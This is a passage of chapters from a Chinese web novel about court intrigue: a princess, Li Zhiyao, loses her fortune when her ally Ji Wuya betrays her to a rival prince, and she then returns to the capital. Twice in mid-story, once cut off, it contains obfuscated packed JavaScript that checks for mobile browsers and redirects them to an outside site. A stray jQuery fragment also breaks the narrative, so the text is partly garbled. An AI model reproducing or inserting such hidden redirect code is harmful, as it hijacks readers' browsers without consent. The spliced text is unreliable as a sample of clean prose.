他会给她买小孩子喜欢的东西,自己虽然嫌弃,但还是接过来,看着手里的玩具心中满是欢喜。 “骗子。” 她还等着见到十三师兄告状,他死了怎么告状,雪抹了一把眼泪,“寻方就是个大骗子!” 雪说完冲出了屋子,纪无涯站起身想去追,奈何牵扯到伤口嘶了一声,李之夭让他坐下,她去找雪。 人并未跑远,只是跑到田埂边的大树下坐着,不停地掉眼泪,李之夭在她身旁蹲下,摸着她的头,雪似乎找到依靠般,扑进对方怀里,极力压制的情绪找到宣泄,身子颤抖幅度越来越大,再也克制不住,发声大哭起来。 雪哭得上气不接下气,“我还没叫过寻方一次师兄,他一直想听我叫一次,可我总是任性,一次都不叫,我好后悔,我真的好后悔,我当初应该陪他一起去的,麻烦公主,寻方就是个骗子,他是个大骗子!” 李之夭轻拍她的后背安抚着雪崩溃地情绪,过了许久哭声才渐渐停歇,雪离开怀抱,坐直身子,主动提及寻方,过去好些年,回想起来记忆犹新。 “他陪我闹,跟我玩,我把十三师兄当师兄,把他当自己的哥哥。”雪说到这里就不继续往下说了,反而问了李之夭一个问题,“你会不会觉得我很任性啊,就这么不管不顾的跑出来。” “不会。”李之夭想看看雪是什么表情,但是刚才来的时候把灯笼吹灭了,什么都看不见。 “我们一起生活那么长时间,他凭什么说走就走,还说我们是亲人,就这么把我们丢在这里。” “你还有纪无涯,他也是你亲人。” 李之夭耐心开导,像雪这样的小孩,心思敏感,经历的要比其他同龄人小孩来得多,“你记得宁儿吗?” “那个总喜欢跟在我屁股后面的鼻涕虫,我记得。”雪诧异,“提她做什么?” 李之夭主动说起在缘楼的事情,寻方的事情她从纪无涯口中也知晓大概,她也完完整整讲给雪听,她需要知道在缘楼发生的事,有权利知道一切真相。 听到寻方死在四长老手底下,最后用内力强撑着一口气等到纪无涯把他们的铭牌拿出来的时候,雪哽咽道:“寻方最怕疼了,他那时候一定很疼,早说不要铭牌了,他嘴上豁达,心里还是很在意,他在意当初的选择,可最后能帮到十三师兄,他是不后悔的,我只是后悔若早知如此,当初就该我去,那糟老头子的毒虫对我不管用,我在缘楼的时候,毁了他不少害人东西。” “你还有纪无涯,我身边除了志 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雪洗漱一下便握着两块铭牌去床上睡觉了,李之夭和纪无涯简单吃了些东西,各自板着张脸互相不说话,换完药后李之夭端着水盆和上门走出去,纪无涯望着她离开的背影不出声。 第二天一亮,纪无涯套好先前放在这里的马车,李之夭和雪一大一小也收拾好站在门口,婉拒了夫妻两要他们多留几日的请求,就继续赶路了。 只不过纪无涯受了伤,雪年纪太小,不好意思让她一个小姑娘赶车,所以赶马车的重任便落在了李之夭肩上。 赶马不似骑马,车厢里的两人接连磕到好次头以后,雪实在受不了掀开车帘。 “麻烦公主,还是交给我吧。” 李之夭回绝了,她现在属于人质,跟纪无涯共处一室总有些尴尬,恨不得多让他磕几次脑袋,把里面装的东西全给摇匀了。 平坦的小路,硬是走了好几个曲折,和山路十八弯的感觉。 忍到最后,纪无涯捂着装得头昏眼花的脑袋坐到马车的另一边,“你对我有意见?” “没有啊。”说话的人无辜眨了眨眼睛,不忘驾了一声,马加快速度,让人身子后仰,车厢里的雪再次撞在了车壁上,咚的一声。 她爬出来把两个人赶进车厢里,她来赶马车,一路颠簸是上下的马车,终于平稳起来。 气氛再度陷入沉默,纪无涯坐在她对面,两人一抬眼就对方,直到最后李之夭索性闭上眼睛,不再看他。 赶路速度很快,晚上三人便已抵达幕阜城,此时城门紧闭,城墙上还有守城将士在巡逻。 雪先上城墙探路,找到合适的路口后回来接李之夭他们。 进了幕阜城之后,才发现这里的形式比他们想的更严重,白天限制通行,一天只允许进城,不允许出城,一天只允许出城不允许进城,所经之处必有严格把控。 每个人都要先洗脸,确认没有变装后才允许出城,就连马车和运输货物的车都要提前报备排查,用官府准备的马车通行。 他们是趁夜翻城墙进来的,没去找客栈落脚,而是去了乐坊定了间雅间落脚,李之夭让奏乐的乐师弹奏些拿手的曲子。 乐师好奇打量雪,怕引人怀疑,纪无涯解释道:“这是舍妹。” 丝竹声很快奏响,下人搬来遮挡的屏风,把乐师和他们隔绝开,隐约只能看到人影,雪找了旁边的软塌躺上去吃着瓜果浅眠,赶了一天的车实在累死了,很快就沉沉睡去。 剩下的两人白天睡够了,现在哪有困意,纪无涯解开衣服,外头有好奇的乐师抬头望,见屏风里的人影似是相互纠缠,她瞬间低下头,把手里的琵琶弹得更卖力了。 这样偷偷幽会的男女不在少数,所以哪怕看见什么乐师都见怪不怪了。 而屏风里纠缠的两人其实只是李之夭去拿纪无涯手里的药,没想到他下意识往后一躲,整个人从椅子上滑了下去,连带踢翻了旁边的小桌,让李之夭本该着力的地方一空,整个人扑进了他的怀里,头磕在纪无涯坚硬的胸膛上。 两个人不由倒吸一口凉气。 纪无涯低头看她,谁知她惊慌失措的抬头,下巴正好撞在李之夭的头顶,还不小心咬到了舌头。 两人不由对彼此避如蛇蝎,纪无涯更是往后缩了好几步,李之夭坐正身子双手环抱膝盖,不敢看他,声音细若蚊蝇。 “李之夭,你想暗杀我?” “对不起啊,我不是故意的。”李之夭眼泪汪汪的看着他,自己撞了两下,脑袋也很疼,“你这身手,还怕我暗杀你?你不谋害我都算上天开眼。” 纪无涯揉着下巴,“我好端端的谋害你作甚。” “我是想帮你上药来着,毕竟我作为人质还是有自觉的。”说着扣了扣手指头,跟他解释自己方才的举动,绝对没有别的意思,是他精神紧张了。 纪无涯一时间不知该说什么好,心中纠结,她都说了要帮他上药,怎么不见动弹? 目光落在横在他们中间的药瓶上,不知是拿还是不拿。 这一路有些奇怪,自从上次他们吵架谈判后,互相看着都感到有些别扭,却又不知该怎么打破,正常的环境下莫名有股尴尬。 就连他们自己都不知这份尴尬从何而来。 外面的乐声忽然骤停,好像是有乐师的琵琶弦断了,杂音敞亮,越过了旁的乐声。 所有人跪在地上,大气不敢出。 毕竟有钱来乐坊幽会的人,身份都不会低,加上城里管控严格,乐坊酒肆茶楼花楼就成了消遣的地方,人都是非富即贵,不敢招惹。 看两人样貌不俗,气质出众,更加断然不是凡夫俗子。 “重新换副琵琶接着奏吧。” 得到答案乐师如释重负,断弦的乐师退下重新换了琵琶上场,悠扬的乐声再次弥漫在房间里。 纪无涯也拿回了中间的药瓶,涂抹在自己能够得到的地方,够不到的地方他看着李之夭,希望她能懂自己的意思,舌头还在发疼,漆黑的眼眸湿漉漉的。 在李之夭看来,怎么这么委屈地盯着自己,难不成撞到他伤口上了? 手里动作不敢耽搁,帮他上药。 李之夭心中感慨,自己这次事罪过大了。 等天明时,外头早早开始吵闹,今日只允许进城,里头的驻军驱赶想趁机出城或者是围观的百姓,二十步之内不允许旁人在侧。 李之夭收到踏雪的传信说,他们已到幕阜银来庄等候。 去到银来庄一行人皆是风尘仆仆的样子。 一行人分成两派坐在左右,桌子和院子堆着许多箱子,箱子里的东西雪去检查了一遍,全部是面额为一千两的银票。 金三娘把银来庄的契据递给李之夭,李之夭看了看,放在纪无涯跟前。 “东西给你,这么多,你怎么带走?” “不劳费心。” 纪无涯说着将断玉放在桌上,“合作愉快。” 92. 谋划 第93章 杨刻急匆匆从带着刚打探回来的消息回到他们落脚的地洞里。 因为城里这些天大规模带着画像搜查,逼得一行人不得不藏到从前战乱时荒废的地洞里,消息只能由没被通缉的杨刻和青鸢轮流出去打探。 剩下三人日日藏在不见天日的洞中,夜深人静的时候才敢出去透透气。 苏月清心里已有些不满,见杨刻回来手里拿着的还是日复一日的干馒头和咸菜,嘴角往下撇了撇,不情不愿的从裴淮手里接过,说话都阴阳怪气起来。 “也不知这种日子什么时候才到头,还连累了三皇子跟着一起受苦,几日不曾有油水进肚,你们这样吃惯了山珍海味的皇子来说势必难捱吧。” 裴执捏着白面馒头,原本垂着的头颅忽然抬起,顺便携带着着柔柔的笑意,矢口否认,“此一时非彼一时,我在大魏牢狱的时候,吃的跟这个差不多。” 苏月清咬了一口馒头,就着水咽下去,“也是,你在牢里想必习惯了,可惜若能早日找到裴淮,说不定现在早就在北唐了,现在整日过着东躲西藏的日子,堂堂璃王殿下,哪能受过这样的委屈。” 杨刻面色尴尬,这些天苏月清拐着弯的说这不是哪不是,他早就忍无可忍,偏偏璃王对她很上心,说也说不得,打也打不得,也憋了一肚子火。 每个人都在挨着等使团进来借使团的人回到北唐,苏月清这几天所有人忙前忙后打点,她不但不出力,整日就知道睡觉,或是挑刺。 “苏姑娘这些天话未免是不是有些多了,现在这样的情况又不是我家主子一人造成的,被通缉的还有你,要不是我家主子,你现在能不能吃上白面馒头都不一定。” 苏月清气急败坏地将手里馒头攥紧,双眼通红,“你什么意思?我有怪过裴淮一句么,正常说说话而已,你怎么这么扎我的心!” 杨刻反唇相讥,“你是什么都没说,但话里话外含沙射影的说这说那的,傻子才信你。” 苏月清倔强的挂着眼泪不让其掉下来,“你要是这么想我,我无话可说,只能说这一路辛苦了,日后我们互不相干吧。” 说完起身就要走,还把她捏出指印的馒头放在桌上,裴淮一把拽住她。 “清清,别闹,是杨刻理解错了,你心地善良,这些日子下来委屈你了,心中煎熬抱怨几句是应该的。”裴淮把苏月清拉回到身边,替她拭去眼泪,“杨刻,道歉。” 杨刻仰着头,“我没错。” 苏月清见此开始挣扎想离开裴淮的身边,裴淮紧紧握着她的手,带进怀里,声音严厉,“道歉,不然日后你不要跟着我了。” 杨刻握紧拳头最后松开,终于是败下阵来,“苏姑娘,对不起,是我以小人之心度君子之腹。” 裴执在一旁目光微闪,慢条斯理的吃着馒头,仿佛被他吃出山珍海味一样,等那头闹声平歇,才出声道:“这些天大家都辛苦了,杨刻不是出去打探消息了么,可有听到什么?” 遗忘的正事此时才被记起,杨刻说话的时候不忘瞥一眼苏月清,才不情不愿地把打探来的消息说出来,“据说今日就使团就会到,但具体不知什么时候,不过错不了,就在今日,是五皇子带队。” 裴执取出帕子擦擦手,“六弟,你接下来打算怎么办?” 趁裴淮思考的时候,杨刻继续说一些外面的情况,“今日城中只许进不许出,二十步之内都有禁军把手,不听劝阻者当场射杀,我们想出去怕是有些困难,实在不行跟着五皇子。” 裴淮说不行,“按照这几日大魏的戒备,使团进来的时候恐怕魏军会盘查人数,若离开的时候发现不对恐生变故。” 青鸢不解:“不过是多了几人,魏军不至于连这都能查出来,在大魏京城有些变故,多几人少几人不也正常?” 裴淮摇头,“事情并非你想得那般简单,若是人员名单有变动,大魏若是给了人,也会记录在册,北唐损失了人也会记下来。” “可使团那么多人,总不能谁都记得。”杨刻皱眉,怀疑是不是自己主子把事情想得过于严重了,不至于现在一条生路都没有。 “你主子是不想跟五皇子碰面,你难道看不出来么?”一直不说话的苏月清突然开口,“不然为何推三阻四。” 杨刻单膝跪下道歉,裴淮摆手让他起来,反问苏月清,“清清,依你之见,有何办法?” “唯有置之死地而后生,杀出去。”苏月清看向裴执,“三皇子既然敢孤身一人来大魏,想必也带了人手。” 裴执温柔笑笑,“苏姑娘看得可真明白,我带来的人此番暗中阻拦追兵,帮我们消除痕迹,也损失了不少,如今在幕阜城的,还剩三十人可用,若三十人能助我们脱险,我定竭尽全力。” 裴淮如释重负,杨刻立马分析:“三十人够了,加上我和青鸢两人拖住大部分主力,掩护主子你们驾车离开。” 他们商量好其中细节后,乔装打扮一番出了地洞,许久不曾接触新鲜空气的苏月清长舒一口气,但她也知晓事情轻重缓急,跟在裴淮身边,不再说话。 裴淮起初还以为她心里在介意杨刻先前的话,本想安慰她几句,凑到她身边的时候,苏月清指了指路边卖糖人的老伯,“给我买个这个。” 为了哄苏月清开心,裴淮把整个摊子的糖人全包了,他一手拿着好几个糖人,跟着苏月清,她看看这样,瞧瞧那样,许多北唐才有的小物件也摆在摊上,让苏月清看直了眼。 沅露瞧见裴淮他们忍不住跟身边的蓝素衣吐槽:“裴淮他们过于明目张胆了,明明被满城通缉,还敢这般招摇过市,不想引人注意都难。” 蓝素衣示意她少说点,“我们此番是为少主而来,封先已死,少主知晓自己的身世,按照他的性子,必定会去北唐找安庆帝。” “虽能猜中他怎么想的,但猜不到他想怎么做,我发现前两日大魏各地好些铺子突然变卖出去,就连银来庄作为大魏第一钱庄,也有不小动作。” “沈齐他们人呢?” “沈齐老滑头早就跑回京城了,洛萤不在,好多人扑了个空,来的人陆陆续续都离开了,似乎只有太傅徐子清和几名官员还在宁缘城没离开,对了,陆海清也还在宁缘城,他杀了许归和赵南涧,这个仇少主不会认下,我们需不需提前动手,把智先生揪出来,这个老匹夫藏了这些年,尽做些见不得人的事。” 沅露她们跟着裴淮他们一路慢悠悠地走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488331|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边走边观察周围情况。 “智先生的所作所为我略有耳闻,他针对李之夭我们没意见,只是现在上赶着想对缘楼和少主赶尽杀绝实在让人不耻。”蓝素衣想到陆海清他们的手段,心中也产生不少怨言。 跟李之夭的火,引到纪无涯身上就是在试探缘楼的底线。 蓝素衣很想直接跟智先生撕破脸,无奈不知其身份,万一撕破脸后反倒是引起朝廷不满,惹祸上身,所以只能继续跟智先生虚以为蛇。 他们来这里还有一件事是因为封先的死讯通过在北唐的大师兄转达,告诉给了安庆帝。 正想着,沅露眼尖瞧见了最先进来的一队商队。 驻军照例检查马车上的货物,除了丝绸锦缎之外,中间的箱子打开,令人震惊的一幕出现,箱子里装着的都是大额银票,一箱子银票二十张为一箱,一辆马车足足装了十箱。 这些钱让人眼睛都看值了,蓝素衣倒吸一口凉气,对方财路雄厚,旗帜招摇,大大写着银来庄三个大字。 全部盘查完后,车队缓缓前行,直奔此处的银来庄。 恐怕是有人要在此地跟银来庄做一笔大买卖,这笔买卖价格不俗,好奇究竟是何绝世珍宝,让银来庄花这么多的价钱。 裴淮他们在快撞见巡逻的士兵时就躲起来了,沅露处于好奇偷偷跟上银来庄的车队,想去一探究竟。 飞鸿知道有人跟上来了跟踏雪说了一声后,踏雪便去拦下沅露,“姑娘,若是继续跟下去,我们恐怕以为你藏着坏心思,要找驻军过来瞧一瞧了。” 被人跟踪的插曲踏雪说给李之夭听完,根据踏雪的描述,大概能猜出来是缘楼的二护法沅露。 “看样子,今日的幕阜城会很热闹。”李之夭笑了笑,她跟纪无涯的交易定在未时初,这个时间纪无涯说他要去准备一下。 虽不知准备什么,她还是给予纪无涯应有的信任。 银来庄内他们围坐在一起,案上烹着桂花绿茶,用过午饭后,日头晒得人有些昏昏欲睡,就连一向精神的飞鸿踏雪,此时也感觉前所未有的困意。 李之夭等人忍不住爬在桌子上睡过去,踏雪想着在附近带着守着有没有情况,没曾想靠着门也睡了过去。 银来庄里包括鸟兽全都陷入昏睡,紧闭的银来庄大门忽然敞开,纪无涯缓缓走了进来,他身后跟着几名布衣打扮成百姓模样的人。 最后裴淮和苏月清都在其中。 裴淮笑了起来,“你当真没有骗我。” 纪无涯拱手,“我说话一言九鼎,既然给了你那枚银币,便不会食言,只是不知当初河畔你给我的允诺是否作数?” “自然,你帮了我这么大一个忙,常言说识时务者为俊杰,你能弃暗投明,本王愿意给你这次机会。” 裴淮说完让人把李之夭他们全部捆起来丢到仓库里,纪无涯让雪去检查一下人是否全都捆住,不要漏出岔子,雪进去检查一番确认没问题,由裴淮的人把房门上锁,裴执手底下的人过来把装着银票的钱箱带走。 他们刚走出院子,外头忽然传来号角声,现在正是未时初,有人高呼着从门前跑过。 “北唐使团来了,北唐使团来了,快去看看啊!” 93. 谈判 第93章 话说一个事时辰前,纪无涯和李之夭定下合作,看得出双方只有一方比较满意,李之夭想伸手去拿断玉,眨眼又被纪无涯收了回去。 “你想出尔反尔?”小二声音愠怒,捋起袖子准备干架。 纪无涯将断玉递给雪,让她收着,“不是出尔反尔,而是打算钱财先放你们这里,一会儿我过来取,断玉那时候再给你们。” “咱们也是合作过几次的人了,你难道信不过我?”李之夭说。 纪无涯说是,“之前都在你这栽了跟头,不得不防。” 说着他带上雪离开银来庄,他们出去不是去往别处,而是去了一家酒楼的后厨。 前世他记得裴淮和裴执风风光光离开大魏的时候,差不多正是这个时候,唯一不同的是他们没被李之夭逼得无路可走,李之夭跟苏月清还都在大魏的皇宫里,他作为裴淮留在大魏的暗刀,也是负责跟苏月清联络的人,把从李之夭那里得到的消息通过他传递到北唐。 北唐使团今日抵达,也是在那日使团带来了安庆帝的圣旨,感念幼年流落在外的皇子,庆幸兄友弟恭,歌唱裴淮的自强不息,让他们风风光光从幕阜城离开。 那时候他们就在酒楼里,虽然走向偏移,但纪无涯猜测该出现的地点,应该大差不差,被满城通缉,若想满足口腹之欲,后厨就是最好的选择。 所以掀开后厨的帘子,长剑便刺了过来,雪眼疾手快一把抓住对方的手腕,想用力将其掰断的时候纪无涯制止,“别动手。” 后厨的地上躺了一地的人,死的死,晕的晕,裴苏三人围坐在一张旧桌前,上面摆了几盘厨子刚做出来的菜肴,前头大堂里迟迟等不到上菜的人早就吵嚷成一团。 裴淮看清来人后目光一紧,雪死死扣着杨刻的手,将其拖到跟前面,力气迫使他不得不弯下了腰,蹲在雪的身旁,青鸢见状想动手,雪踢起杨刻掉在地上的长剑,左手反手向上斜指在青鸢胸前,右手不由加重了些力道,疼得杨刻面色一白倒吸一口凉气。 纪无涯从长灶的篮子里拿出一个橘子在手里抛了抛,“璃王殿下就是这样待客之道?” 裴淮把苏月清护在身后,目光森寒,“你想怎样?李之夭派你来的?” 心中满是不甘,以他的武功,相信自己有实力跟纪无涯一战,但苏月清和裴执都不会武,杨刻青鸢又被对方控制,怎么看胜算都在对方。 明明差一点就能离开大魏,前往北唐了,怎么李之夭阴魂不散。 裴执眸子幽幽睨了一眼苏月清,忍不住叹口气,“此番还是我们莽撞了,紧要关头,为了满足口腹,铤而走险。” 苏月清抿了抿唇,“事情都这样,我能有什么办法,与其说些风凉话,不如想想怎么离开。” 纪无涯把橘子握在手中,反手抛给裴淮,“谈谈?” “谈什么?” “你们当初跟银来庄打赌的事,听说璃王殿下你损失了在大魏的全部商铺,今个儿正好,我能帮你把损失的钱财连本带利从李之夭手里拿回来,李之夭在大魏的全部钱财,是我给璃王殿下你的投名状,外加助你们带着这些钱顺利出城,不伤一兵一卒。” 裴淮听完有些心动,可他不相信纪无涯的选择,“你为什么现在选择来投奔我?” “患难见真情,过去璃王殿下你风光无限,身边能人众多,我若那时选择跟了你,身边不知是否有我的一席之地,现在你落了难,我再助你,岂不更能让你看到我的价值?” 他晃了晃手中的金坤钱,“这样的一枚银币,当日湖畔我在你身上留了一枚,只不过那枚是银质的。” 裴淮皱眉,“可我身上并无此物,怕是要你失望了。” 纪无涯慢悠悠从杨刻兜里用双指捏住来,在裴淮眼前晃了晃,“喏。” 裴淮的目光瞪着杨刻,似乎想跟他要个解释,杨刻立马喊冤,“主子,不是,我没有私藏,我也不知道为什么会在我兜里!” 雪手一阵用力,杨刻后面的话变成了呼痛声,此时有人从外面闯进来,“你们到底在干什么,客人都等不及了!” 他冲进来不等看清现场的情况,纪无涯一记刀手将他劈晕了过去。 “我怎么信你?”裴淮神色松动。 纪无涯让雪收手,得到自由的青鸢杨刻两人立刻靠向裴淮,一脸戒备,纪无涯毫不在意迈腿往前走,雪在这时身形如风掠过挡在前面的两人,眨眼她手中的剑已经横在裴淮脖子上。 她耐心似乎已经到了极限,“师兄,她都不信你,干嘛费这些力气,实在不行你还是去找麻烦公主算了,钱不要了,疑神疑鬼的我还真以为师兄你能带我找个好的长期饭票。” 纪无涯坐在桌前,朝小杯里添了茶,递给裴淮,“璃王殿下明白,良禽择木而栖,李之夭不是我的最优选择,先前跟她,不过是想从她手里拿点东西罢了,我们已杯缘楼除名,想要找个可靠的靠山自保而已。” 雪的速度让他们都反应不过来,足以说明若动了杀心,他们压根没有反手的机会,比较杨刻和青鸢,纪无涯他们的武功更胜一筹,更能帮裴淮做事。 正当双方僵持犹豫不决时,裴执自作主张替裴淮接下了纪无涯递过去的茶水,他笑容温和,“好一个良禽择木而栖,这杯茶我就替璃王接下了,如今正是用人之际,你们二位的到来,六弟必定能如虎添翼。” 裴淮听了裴执的话,“当日湖畔我许诺的话,都还作数,前提是你永不背叛。” 纪无涯点头,“这是自然,日后甘为璃王殿下孝犬马之劳。” 青鸢为他们二人重新添茶,双人全部喝下去后,裴淮心情忽然大好,他不知为何,总感觉在冥冥中,纪无涯是属于他麾下的人,他有预感,此人若是追随自己,将来必能帮自己大用。 虽说期间兜了好几个圈子,现在有种一切都回到正轨的感觉,让他接连数日的心中阴霾挥散不少,终是窥得一方天光破云。 临近未时初,纪无涯让裴淮带一批人去拿钱,纪无涯在银来庄的吃食和茶点里下了迷药,等他们全部昏睡过去后,裴淮走进银来庄。 检查院子里的钱箱,确认全部是银票后心情大好,“你的这份投名状,我收下了。” 他看向李之夭,想起从前重重皆拜她所赐,脸上是毫不掩饰的厌恶,想让杨刻动手杀了她,纪无涯及时拦下,“她现在杀不得,若想安然无恙离开大魏,她的身份至关重要。” 苏月清率先反应过来,扯了扯裴淮的衣角,“我大抵明白他的意思,我们想离开,可以用李之夭的身份做场乱,引来城里的守军,趁对方守备混乱的时候,我们趁机出城。” 于是裴淮命人把李之夭等人捆起来关进柴房里,雪进去检查后确认没问题,不忘松开点飞鸿身上的绳子,出门由青鸢把门锁死。 裴执手下的人一批忙着把钱财装车,一批忙着在银来庄和柴房周围撒上火油。 外头传来叫喊声,“北唐使团来了,北唐使团来了!” 裴淮一声令下,由纪无涯一人骑马在前方开道,杨刻留下点火,火烧银来庄,随着大火烧起来,他们来到城门口,前头的马匹尾巴上绑了鞭炮,噼里啪啦的声音刺激马匹,马冲散北唐的使团,也惊了他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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将军带着几名将士进来,看到还有活着的人后二话不说把身上打湿的褥子披在他们身上带出去,虽有火油,但从现场的情况来看,火势并未烧太大。 等安全后将军率先抱拳跪下,“末将参见公主!” 李之夭一怔,“你是如何得知我身份的?” 将军把属于她的令牌呈上来,“有人趁乱出城,这是一名莫约十二岁女孩给我的,也是她让我来救人的。” 李之夭接过令牌,回想重重,难怪非要两日内赶到幕阜城,他早就知道北唐使团入城的时间,只有她吃了觉醒缺少部分信息差的亏,这次竟然被纪无涯摆了一道。 他离开的一个时辰里,是去找裴淮谈判了,从前她给他下了那么多次迷药,这次他可算讨回来。 他卷钱跑路,还带着她的钱投奔男女主。 她不是什么哑巴亏都吃下去的人,纪无涯这么想去北唐,北唐的舞台上必然不能少了她李之夭。 “将军辛苦了,我被裴淮等人俘虏至此,还请将军派人速速护送我回京。” 她说着眼泪就掉下来,面上沾了灰尘,灰头土脸,看上去楚楚可怜,说完顺势跪下来,吓得将军赶忙把人扶起,念叨着说公主折煞臣了。 飞鸿摸了摸腰间,总觉得好像多了什么东西,正想查看,踏雪喊他,思绪被打岔,他也顾不上那么多,赶紧跟上大部队。 “公主,不妨休息一日再离开也不迟。” 李之夭眼眸含泪,一说话就跟不要钱似的拼命往下掉,声音都哽咽到断断续续,“不,我要回去,我要去舅舅,我要尽早回去,我害怕。” 将军找人套了两辆马车,寻了几名信得过的人安排他们护送公主回京的重任。 他得去看看北唐使团那边怎么样了。 耿进才不解,“主子,咱们回京作甚,不是要去北唐么?” 李之夭勾起一丝冷笑,“咱们无权无势的去北唐属于裴淮的地盘岂不是找死,回京是要个名正言顺且有退路的选择。” 金三娘眉心微皱,“那我们……” “我要和亲。” 94. 疑惑 第94章 清武帝收起密信问旁边的孙广全,“秦立山出发了吗?” 孙广全拱手回答:“尚未。” 坐在软凳上的帝王长叹一声,随手烧了信纸,“让他暂时不用走了,宿宁自己回来了。” 清武帝目光晦暗不明,“幕阜关的守将从起火的银来庄内把人救下,城中失火,乱贼裴淮闯关,真是好大一出戏。” 帝王心术最是难猜,孙广全此时也拿不准他对宿宁公主的态度是何,从中周旋,“还好公主没事,出了事北唐难辞其咎。” 他目光望向帘子外站着的阴影位置,有眼尖的小太监赶紧端着去暑的茶汤进来,孙广全用银针验了验茶汤,稍等片刻并未出问题才递给清武帝。 清武帝有些恍惚,但还是接过喝了一口,“即便你处处小心谨慎,若上次下毒之人再出手,不知是何手法,朕依旧会随时处于危险中。” 孙广全笑了笑,“皇上乃是万金之躯,没了苏月清,哪怕下人验过,奴才这里也当验一遍,小心驶得万年船,上次那样的疏漏可不敢出现第二次。” 清武帝回想从前,语气感慨,“你说朕是不是真没做天子的命,身边的能人最后都离开了,沈齐在朕登基后一直云游在外,好些官员都告老还乡,留下满目疮痍的朝堂,朕好不容易把烂泥扶上墙,医术高明的苏月清也离朕而去,就连宋庆都鬼迷心窍,背叛了朕,现在太傅也不在京中,宿宁也有了自己的心思,不再是当初乖巧惹人怜爱的宿宁了,这点倒是跟她母亲比较像。” 孙广全安抚:“皇上就是皇上,是万人敬仰尊敬的皇上,大魏高楼初建,去去来来都是应该的,皇上金戈铁马,自是无人能及。” 守在门外的小太监进去接过孙广全递来的空茶盏径直走出殿门去,他一直低着头匆匆穿过大道走廊,直到去到后宫没人的地方才敢直起腰,太监长得白净清秀,秀发挽起藏在帽子中,避开耳目匆匆绕到宿宁宫门前,叩响三声大门,从门缝里闪身进去。 刚进去就把托盘塞到小顺子手里,直奔时雨和春夏两人,小顺子找人把茶盏送到原处,也马不停蹄跟着进去。 方才的小太监开口却是姑娘温柔的嗓音,春夏着急道:“你今日可听到什么有关主子的消息?” ‘小太监’点头说听到了,并把这两日在御书房听到的消息跟时雨和春夏说了去,“皇上现已对主子起了疑心,另外我还得到消息,说主子在回京的路上了。” 时雨应下,宿宁宫这段时间经过她们里里外外的把控,能确保全部人都是宿宁宫的人,没有存在二心或是藏进卧底的情况。 送走她后春夏愁眉不展,“既然离开了皇宫,要我说跑得远远的,越远越好,永远不要回来,回来万一被推出去和亲,岂不是比现在更糟糕。” 小顺子也点头说是,“春夏说得没错,可为何主子就是要回来?” 他们都知道的事,时雨相信自家主子不会不知道,想必有不得不回来的原因,“你们也别抱怨了,咱们现在要做的是等主子回来,不能在关键时刻给她添乱。” 从幕阜城到京城,千里迢迢,带着一群人,还不能让送行的将士看出洛萤的反常,李之夭只能声称此女在半道上想偷袭她,被拿下要准备送去京城关押受审,事关王亲贵族,地方的县衙不敢轻易接下。 路上走走停停,九月初的时候终于见到了京城的城墙。 秦立山早早收到消息在城门口等着,见到送行的马车到城门口立马派人迎接。 李之夭和洛萤同处一辆马车,她掀开帘子冲秦立山打声招呼,“秦大统领。” 说着指了指跟在后面金三娘和耿进才他们所在的马车道,“他们是不小心跟我一样被抓的可怜人,前些日子还去幕阜城送货,如今钱货被人抢走,一同落了难,若是盘查没问题就放他们离开吧。” 秦立山说是,送行的将士和他们交换了赶马的位置,下马车后对其行了一礼,秦立山想留他们歇息几日再赶回幕阜城也不迟,但将士们婉拒了好意,只要了几匹快马,连城门都没进便策马离开了。 进城的马车晃晃悠悠走在朱雀大街上,秦立山帮李之夭赶马车,嘴上抱怨,“江湖人就是江湖人,做事怎么能不讲道义,这个纪无涯变卦防不胜防,怎么就把公主你给带走了,还卷进危险里。” 洛萤双手被捆在身后,用宽大的袖子掩盖起来,嘴里塞了帕子,听到外头有人说话,她故意用脚撞了撞马车的内壁,发出咚的一声。 外头的秦立山丝毫没在意,“公主,臣有些话不好说,但你应该知道,银来庄的事你应该跟皇上好好交代清楚,说明你没那个心思。” “我知道的,谢谢秦大统领。” “臣知道公主不易,但皇上也难,不妨趁着这次北唐使团来访,公主找机会修补一下你跟皇上之间的关系,都是一家人,猜来猜去,防来防去的,总归对你们都不好。” 秦立山絮絮叨叨说了好多,来的路上,她私底下跟耿进才他们通过消息,若是有人问起,一律咬死互相没关系,顶多就是她在银来庄存起来的钱财有些多。 银来庄现在的主人是纪无涯,跟她倒是真的没关系了,纪无涯也没说银来庄怎么办,等他想起来之前,李之夭让他们银来庄的人一切照旧,毕竟是自己的心血,就这么关门大吉心中尚有不甘。 若纪无涯是银来庄的东家,在宁缘城的事一切都说得通了。 真真假假,假假真真,纪无涯人在北唐,她不觉得现在的他有心思去理会这些人。 拿了她全部的钱,现在她一贫如洗,吃穿什么真得靠着宫里,重新谋划生路之前,她断然不会跟清武帝闹得太僵,有人供着不享受是傻子。 进了宫里,她直接被带到御书房门前问话,秦立山则是将马车赶回了宿宁宫里交给时雨他们处置,说车上公主的用品他们看着收一下,临走前若有所思的望了一眼马车,什么都没说直接离开了, 返回御书房门前的时候,李之夭还在台阶下跪着,孙 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“皇上,我这不是许久没见宿宁,想跟她说说话,顺便劝劝她。”段兰之着急解释,下意识瞥向李之夭,赔笑道,“宿宁你说是不是?” 李之夭并未出声,她的笑容顿时挂在脸上有些僵硬,清武帝对她放在说的话听得一清二楚,直接让她离开。 进了御书房,孙广全识趣地关上房门,赶走旁的外人,顿时屋内只留下他们三人,李之夭继续跪在地上,她这次并未主动开口说话,而是在等清武帝说。 两人沉默许久,清武帝看奏折越看越看不进去,重重将其摔在案上,“跪了这么长时间,你就没什么想跟朕说的?” 李之夭仰起头,“没有,我做事问心无愧。” 